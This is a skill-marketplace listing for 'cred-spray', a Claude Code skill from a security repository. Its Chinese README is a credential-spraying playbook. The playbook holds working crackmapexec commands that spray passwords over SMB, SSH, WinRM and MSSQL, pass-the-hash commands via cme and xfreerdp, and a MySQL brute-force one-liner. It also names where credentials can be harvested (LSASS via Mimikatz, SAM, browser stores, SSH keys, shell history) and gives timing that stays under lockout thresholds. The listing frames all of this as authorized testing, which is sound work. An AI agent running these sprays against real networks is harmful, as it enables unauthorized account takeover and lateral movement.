mcpField
C
cred-spray

cred-spray

github.com/wgpsecSecurity1.8k47 installsUpdated 4d ago
Repository

About cred-spray

A credential-spraying methodology skill for security testing. It covers credential inventory, attempts planned around account lockout policies, and analysis of results and password patterns.

Key features

  1. 01Inventory and classify existing credentials
  2. 02Build username and password lists
  3. 03Plan sprays around lockout policies
  4. 04Use Pass-the-Hash and test multiple services
  5. 05Save successful results and analyze password patterns

Use cases

  1. 01Assess credential reuse in authorized testing
  2. 02Plan credential checks around account lockout policies
  3. 03Record successful credentials and determine their access

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/wgpsec/aboutsecurity --skill cred-spray

After installing, type/cred-sprayin Claude Code to confirm it loaded.

Bundled files

References and scripts installed along with SKILL.md.

evals/
evals.json
recall.json
references/
pre-cred-enumeration.md

Details

From the project README

凭据喷洒攻击方法论

⛔ 深入参考(必读)


凭据喷洒和暴力破解不同——暴力破解是对一个账户试很多密码,凭据喷洒是用一个密码试很多账户。后者不容易触发账户锁定。

Phase 1: 凭据清点

1.1 汇总已有凭据

用 evidence_list + evidence_read(筛选凭据类型)获取已收集的所有凭据。

凭据来源总结:

来源凭据类型获取方法
配置文件明文密码数据库连接串、.env 文件
LSASS 内存NTLM 哈希/明文Mimikatz
SAM 数据库NTLM 哈希reg save + secretsdump
浏览器明文密码Chrome Login Data
SSH 密钥私钥~/.ssh/id_rsa
历史命令明文密码.bash_history
KerberosTGS 票据Kerberoasting
1.2 构造凭据字典

将收集到的凭据整理为:

  • 用户名列表
  • 密码列表(明文 + 常见变体如 Password1! → Password2!)
  • 哈希列表(用于 PTH)

Phase 2: 喷洒策略

2.1 密码喷洒(避免锁定)

关键原则:一次只试一个密码,等待间隔后再试下一个。

# 使用 crackmapexec 对 SMB 喷洒
cme smb 10.0.0.0/24 -u userlist.txt -p 'Password123!' --continue-on-success

# 单密码多用户(安全)
cme smb DC_IP -u userlist.txt -p 'Summer2024!' --continue-on-success

# 多密码时设置间隔(通常锁定策略是 30 分钟 5 次)
# 每次只试一个密码,间隔 35 分钟
2.2 Pass-the-Hash (PTH)

有 NTLM 哈希不需要明文密码:

# SMB
cme smb 10.0.0.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:HASH'

# WMI
cme wmi TARGET -u administrator -H HASH

# RDP (Restricted Admin 模式)
xfreerdp /v:TARGET /u:administrator /pth:HASH
2.3 多服务喷洒

同一凭据尝试不同服务:

# SSH
cme ssh 10.0.0.0/24 -u admin -p 'password'

# WinRM
cme winrm 10.0.0.0/24 -u admin -p 'password'

# MSSQL
cme mssql 10.0.0.0/24 -u sa -p 'password'

# MySQL
# MySQL(使用 nuclei 自定义模板爆破)
echo 'root' | nuclei -u mysql://10.0.0.1:3306 -t ~/nuclei-templates/brute/ 2>/dev/null || \
  mysql -h 10.0.0.1 -u root -p'password' -e "SELECT 1"

Phase 3: 结果分析

成功的凭据用 evidence_save 保存,然后评估:

  • 本地管理员 → 可用于横向移动到该主机
  • 域用户 → 可用于域内资源访问
  • 域管理员 → 游戏结束,直接控制整个域
  • 服务账户 → 可能有特殊权限(数据库/备份等)

Phase 4: 密码规律分析

从已获取的密码中寻找模式:

  • 公司名+年份:Company2024!
  • 季节+年份:Summer2024!, Winter2024
  • 键盘模式:Qwer1234!, P@ssw0rd
  • 用户名变体:john → John123!

用发现的模式生成更多候选密码进行喷洒。

注意事项

  • 了解目标的账户锁定策略(net accounts /domain)
  • 通常策略:5 次错误锁定 30 分钟 → 每 35 分钟最多试 4 次
  • 优先喷洒高价值目标(域控/数据库/备份服务器)
  • PTH 不触发账户锁定(不经过密码验证)

锁定策略感知

  • 控制尝试次数在 4 次以内(低于 5 次阈值),不触发账户锁定

Comments

Markdown supported